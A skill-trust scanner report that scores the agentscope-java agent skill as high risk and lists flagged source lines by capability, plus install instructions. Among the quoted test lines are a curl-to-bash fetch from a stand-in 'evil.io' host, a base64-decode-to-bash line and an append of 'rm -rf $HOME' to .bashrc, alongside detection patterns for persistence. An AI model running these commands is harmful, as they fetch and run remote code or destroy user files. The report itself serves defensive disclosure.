agentscope-java
15 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a coding skill usually runs build and test commands.
By agentscope-ai/agentscope-java (GitHub) · coding · 6,333 stars · scanned at commit 2d70942
Expert Java developer skill for AgentScope Java framework - a reactive, message-driven multi-agent system built on Project Reactor. Use when working with reactive programming, LLM integration, agent orchestration, multi-agent systems, or when the user mentions AgentScope, ReActAgent, Mono/Flux, Project Reactor, or Java agent development. Specializes in non-blocking code, tool integration, hooks, pipelines, and production-ready agent applications.
Works with any agent that supports SKILL.md skills.
What this skill can do
Connects to the internet
The author does not mention this.
Found in 802 places.
- agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/JdkWebSocketConnection.java, line 60
new WebSocket.Listener() { - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/JdkWebSocketConnection.java, line 124
new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/JdkWebSocketConnection.java, line 182
new WebSocketTransportException(
Show 17 more
- agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/JdkWebSocketConnection.java, line 210
new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/JdkWebSocketConnection.java, line 227
: new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/JdkWebSocketConnection.java, line 239
: new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/JdkWebSocketTransport.java, line 225
new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketConnection.java, line 114
new WebSocketTransportException("WebSocket error", error, url, "ERROR")); - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketConnection.java, line 123
new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketConnection.java, line 149
new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketConnection.java, line 159
: new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketConnection.java, line 171
: new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketTransport.java, line 219
new WebSocketListener() { - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketTransport.java, line 281
new WebSocketTransportException( - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/WebSocketRequest.java, line 136
return new WebSocketRequest(this); - agentscope-core/src/main/java/io/agentscope/core/model/transport/websocket/WebSocketTransportConfig.java, line 234
return new WebSocketTransportConfig(this); - agentscope-core/src/main/java/io/agentscope/core/session/SessionInteractions.java, line 34
SessionEvent request = requests.get(id); - agentscope-core/src/test/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketTransportTest.java, line 227
new WebSocketListener() { - agentscope-core/src/test/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketTransportTest.java, line 261
new WebSocketListener() { - agentscope-core/src/test/java/io/agentscope/core/model/transport/websocket/OkHttpWebSocketTransportTest.java, line 351
new WebSocketListener() {
and 782 more places
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 3 places.
- agentscope-core/src/main/java/io/agentscope/core/tool/ToolDangerousPathConstants.java, line 46
".ssh/config", - agentscope-core/src/test/java/io/agentscope/core/tool/ToolBaseTest.java, line 234
assertTrue(probe.check("/home/user/.ssh/known_hosts")); - agentscope-service/deploy/init-env.sh, line 21
cat > .env <<ENV
Can call paid AI services billed to you
The author does not mention this.
Found in 29 places.
- agentscope-core/src/test/java/io/agentscope/core/tool/ExampleConfig.java, line 42
return baseUrl != null ? baseUrl : "https://api.openai.com"; - agentscope-examples/documentation/src/main/java/io/agentscope/examples/documentation2/judge/OpenAIDecisionsMiddlewareExample.java, line 68
.baseUrl("https://api.openai.com/v1") - agentscope-extensions/agentscope-extensions-judge/agentscope-extensions-openai-decisions/src/main/java/io/agentscope/extensions/judge/openaidecisions/OpenAIDecisionsClient.java, line 59
public static final String DEFAULT_BASE_URL = "https://api.openai.com/v1";
Show 17 more
- agentscope-extensions/agentscope-extensions-judge/agentscope-extensions-openai-decisions/src/test/java/io/agentscope/extensions/judge/openaidecisions/OpenAIDecisionsClientTest.java, line 277
assertEquals("https://api.openai.com/v1/decisions", sent.url()); - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-anthropic/src/test/java/io/agentscope/extensions/model/anthropic/AnthropicChatModelTest.java, line 340
.baseUrl("https://api.anthropic.com") - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-e2e-tests/src/test/java/io/agentscope/core/e2e/providers/OpenRouterProvider.java, line 39
private static final String DEFAULT_OPENROUTER_BASE_URL = "https://openrouter.ai/api"; - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-gemini/src/main/java/io/agentscope/extensions/model/gemini/formatter/GeminiMediaConverter.java, line 65
"https://generativelanguage.googleapis.com/v1beta/"; - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-gemini/src/test/java/io/agentscope/extensions/model/gemini/formatter/GeminiMessageConverterTest.java, line 1498
"https://generativelanguage.googleapis.com/v1beta/files/abc123", - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-gemini/src/test/java/io/agentscope/extensions/model/gemini/formatter/GeminiMessageConverterTest.java, line 1582
"https://generativelanguage.googleapis.com/v1beta/files/x1")) - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-gemini/src/test/java/io/agentscope/extensions/model/gemini/formatter/GeminiMessageConverterTest.java, line 1591
"https://generativelanguage.googleapis.com/v1beta/files/x1", - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/main/java/io/agentscope/extensions/model/openaiofficial/OpenAISdkClientFactory.java, line 126
baseUrl != null && !baseUrl.isBlank() ? baseUrl : "https://api.openai.com/v1"; - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/test/java/io/agentscope/extensions/model/openaiofficial/OpenAISdkClientFactoryTest.java, line 87
OpenAISdkClientFactory.applyProxy(builder, proxy, "https://api.openai.com/v1"); - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/test/java/io/agentscope/extensions/model/openaiofficial/OpenAISdkClientFactoryTest.java, line 98
OpenAISdkClientFactory.applyProxy(builder, proxy, "https://api.openai.com/v1"); - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/test/java/io/agentscope/extensions/model/openaiofficial/OpenAISdkClientFactoryTest.java, line 112
.nonProxyHosts(Set.of("api.openai.com")) - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/test/java/io/agentscope/extensions/model/openaiofficial/OpenAISdkClientFactoryTest.java, line 115
OpenAISdkClientFactory.applyProxy(builder, proxy, "https://api.openai.com/v1"); - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/test/java/io/agentscope/extensions/model/openaiofficial/OpenAISdkClientFactoryTest.java, line 131
OpenAISdkClientFactory.applyProxy(builder, proxy, "https://api.openai.com/v1"); - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/test/java/io/agentscope/extensions/model/openaiofficial/OpenAISdkClientFactoryTest.java, line 146
builder, proxy, "https://api.openai.com/v1")); - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/test/java/io/agentscope/extensions/model/openaiofficial/OpenAISdkClientFactoryTest.java, line 161
OpenAISdkClientFactory.applyProxy(builder, proxy, "https://api.openai.com/v1"); - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/test/java/io/agentscope/extensions/model/openaiofficial/credential/OpenAIOfficialCredentialTest.java, line 37
.baseUrl("https://api.openai.com/v1") - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-openai-official/src/test/java/io/agentscope/extensions/model/openaiofficial/credential/OpenAIOfficialCredentialTest.java, line 46
assertEquals("https://api.openai.com/v1", round.getBaseUrl());
and 9 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 50 places.
- agentscope-core/src/test/java/io/agentscope/core/tool/coding/CommandValidatorTest.java, line 40
"echo $(sh -c 'printf marker|cat')", - agentscope-core/src/test/resources/e2e-skills/git-changelog/scripts/generate_changelog.py, line 39
result = subprocess.run( - agentscope-core/src/test/resources/e2e-skills/git-changelog/scripts/generate_changelog.py, line 51
except subprocess.CalledProcessError as e:
Show 17 more
- agentscope-examples/agents/agentscope-codingagent/src/main/resources/workspace-templates/skills/git-checkpoint/SKILL.md, line 16
git add -A && git commit -m "checkpoint: before <short description>" --no-verify - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-e2e-tests/src/test/resources/e2e-skills/git-changelog/scripts/generate_changelog.py, line 39
result = subprocess.run( - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-e2e-tests/src/test/resources/e2e-skills/git-changelog/scripts/generate_changelog.py, line 51
except subprocess.CalledProcessError as e: - agentscope-extensions/agentscope-extensions-sandbox/agentscope-extensions-sandbox-agentrun/src/main/java/io/agentscope/extensions/sandbox/agentrun/AgentRunSandbox.java, line 180
+ " subprocess.run(['tar','xf','-','-C',d],input=raw,check=True)"; - agentscope-extensions/agentscope-extensions-sandbox/agentscope-extensions-sandbox-daytona/src/main/java/io/agentscope/extensions/sandbox/daytona/DaytonaSandbox.java, line 143
+ " subprocess.run(['tar','xf','-','-C',d],input=raw,check=True)"; - agentscope-harness/src/main/java/io/agentscope/harness/agent/middleware/WorkspaceContextMiddleware.java, line 470
: "sh -c") - agentscope-harness/src/test/java/io/agentscope/harness/agent/middleware/WorkspaceContextMiddlewareSandboxPromptTest.java, line 300
: "sh -c"; - agentscope-service/release/release.py, line 39
return subprocess.run(args, cwd=cwd, env=env, check=True, text=True, - agentscope-service/release/release.py, line 40
stdout=subprocess.PIPE if capture else None).stdout - agentscope-service/release/release.py, line 213
result = subprocess.run(['gh', 'api', f'repos/{repo}/releases/tags/{tag}'], - agentscope-service/release/release.py, line 300
result = subprocess.run(['docker', 'buildx', 'imagetools', 'inspect', reference, - agentscope-service/release/tests/test_github_release.py, line 66
raise subprocess.CalledProcessError(1, command) - agentscope-service/release/tests/test_github_release.py, line 70
with self.assertRaises(subprocess.CalledProcessError): - agentscope-service/release/tests/test_release.py, line 139
raise subprocess.CalledProcessError(1, args) - agentscope-service/release/tests/test_release.py, line 143
with self.assertRaises(subprocess.CalledProcessError): - agentscope-service/release/tests/test_release.py, line 160
subprocess.run([str(script), '2.0.3-rc.1', 'example.com/team'], check=True, capture_output=True) - agentscope-service/release/tests/test_release.py, line 164
subprocess.run([str(script), '2.0.4', 'example.com/other'], check=True, capture_output=True)
and 30 more places
Downloads and installs other software
The author does not mention this.
Found in 87 places.
- agentscope-core/src/test/java/io/agentscope/core/tool/mcp/McpClientBuilderTest.java, line 411
"uvx", List.of("mcp-server-time", "--local-timezone=UTC"), env) - agentscope-core/src/test/resources/e2e-skills/image-resize/scripts/resize.py, line 25
print("Pillow not installed. Run: pip install Pillow", file=sys.stderr) - agentscope-examples/README.md, line 226
npm install -g @modelcontextprotocol/server-filesystem
Show 17 more
- agentscope-examples/README.md, line 397
npm install -g @modelcontextprotocol/server-filesystem - agentscope-examples/README.md, line 400
npm install -g @modelcontextprotocol/server-git - agentscope-examples/agents/agentscope-codingagent/src/main/docker/coding-sandbox/Dockerfile, line 7
RUN apt-get update && apt-get install -y --no-install-recommends \ - agentscope-examples/agents/agentscope-codingagent/src/main/docker/coding-sandbox/Dockerfile, line 33
RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \ - agentscope-examples/agents/agentscope-codingagent/src/main/docker/coding-sandbox/Dockerfile, line 34
&& apt-get install -y nodejs \ - agentscope-examples/agents/agentscope-codingagent/src/main/docker/coding-sandbox/Dockerfile, line 44
&& apt-get install -y gh \ - agentscope-examples/agents/agentscope-codingagent/src/main/docker/coding-sandbox/Dockerfile, line 48
RUN pip3 install --no-cache-dir ruff mypy pytest black - agentscope-examples/agents/agentscope-codingagent/src/main/docker/coding-sandbox/Dockerfile, line 52
RUN npm install -g typescript eslint prettier - agentscope-examples/agents/agentscope-codingagent/src/main/java/io/agentscope/harness/coding/prompt/CodingSystemPrompt.java, line 243
`mvn -q -pl <module> compile`, `ruff check <path>`, `npx eslint <path>`, the single - agentscope-examples/agents/agentscope-codingagent/src/main/resources/workspace-templates/skills/verify-changes/SKILL.md, line 14
- Node/TS: `package.json` scripts (`build`, `lint`, `typecheck`), `tsconfig.json` -> `npx tsc --noEmit`, `npx eslint <changed files>`. - agentscope-extensions/agentscope-extensions-model/agentscope-extensions-model-e2e-tests/src/test/resources/e2e-skills/image-resize/scripts/resize.py, line 25
print("Pillow not installed. Run: pip install Pillow", file=sys.stderr) - agentscope-harness/src/test/java/io/agentscope/harness/agent/skill/curator/SkillSecurityScannerTest.java, line 218
"scripts/x.sh", "curl -sSL https://evil.io/inst.sh | bash"); - agentscope-harness/src/test/java/io/agentscope/harness/agent/tools/ToolsConfigLoaderTest.java, line 101
"command": "npx", - agentscope-service/README.md, line 126
go install github.com/agentscope-ai/agentscope-java/agentscope-service/service-controlplane/v2/cmd/as@v2.1.0-BETA1 - agentscope-service/README.md, line 127
go install github.com/agentscope-ai/agentscope-java/agentscope-service/service-controlplane/v2/cmd/agentscope-runtime-host@v2.1.0-BETA1 - agentscope-service/README_zh.md, line 127
go install github.com/agentscope-ai/agentscope-java/agentscope-service/service-controlplane/v2/cmd/as@v2.1.0-BETA1 - agentscope-service/README_zh.md, line 128
go install github.com/agentscope-ai/agentscope-java/agentscope-service/service-controlplane/v2/cmd/agentscope-runtime-host@v2.1.0-BETA1
and 67 more places
Changes files outside its own folder
This is disclosed by the author in the skill's SKILL.md or README.
Found in 6 places.
- agentscope-examples/agents/agentscope-codingagent/src/main/docker/coding-sandbox/Dockerfile, line 42
| tee /etc/apt/sources.list.d/github-cli.list > /dev/null \ - agentscope-harness/src/main/java/io/agentscope/harness/agent/skill/curator/SkillSecurityScanner.java, line 193
"(systemctl\\s+enable\\s+|cp\\s+[^\\n]*\\.service\\s+/etc/systemd" - agentscope-harness/src/main/java/io/agentscope/harness/agent/skill/curator/SkillSecurityScanner.java, line 201
Pattern.compile("echo\\s+[^\\n]*>>\\s+~?/?(\\.bashrc|\\.zshrc|\\.profile)"),
Show 3 more
- agentscope-harness/src/test/java/io/agentscope/harness/agent/skill/curator/SkillSecurityScannerTest.java, line 168
"scripts/x.sh", "echo 'rm -rf $HOME' >> ~/.bashrc"); - docs/v1/en/docs/task/session.md, line 325
rm -rf ~/.agentscope/sessions/*.json - docs/v1/zh/docs/task/session.md, line 325
rm -rf ~/.agentscope/sessions/*.json
Contains code that is hidden or hard to read
The author does not mention this.
Found in 1 place.
- agentscope-harness/src/test/java/io/agentscope/harness/agent/skill/curator/SkillSecurityScannerTest.java, line 201
SkillSecurityScanner.scanSingleFile("scripts/x.sh", "echo Zm9v | base64 -d | bash");
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
- 85 Low riskagent-java-architectdiegosouzapw/awesome-omni-skill · 66 stars
- 100 Low riskjava-architectjeffallan/claude-skills · 12,360 stars
- 100 Low riskbootui-java-developmentjdubois/boot-ui · 334 stars
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'agentscope-java' ] || [ -L ~/.agents/skills/'agentscope-java' ]; then echo 'A skill folder named agentscope-java already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/agentscope-ai/agentscope-java' "$d" && git -C "$d" checkout --quiet '2d70942cf037bf061478975004f01dc98d4c2305' -- '.' && mkdir -p ~/.agents/skills && cp -R "$d/." ~/.agents/skills/'agentscope-java' && rm -rf ~/.agents/skills/'agentscope-java'/.git && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'agentscope-java' ~/.claude/skills/'agentscope-java' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for agentscope-ai/agentscope-java shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/agentscope-ai/agentscope-java/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-11 | 2d70942 | 15 |
| 2026-11-08 | c52d1fc | 15 |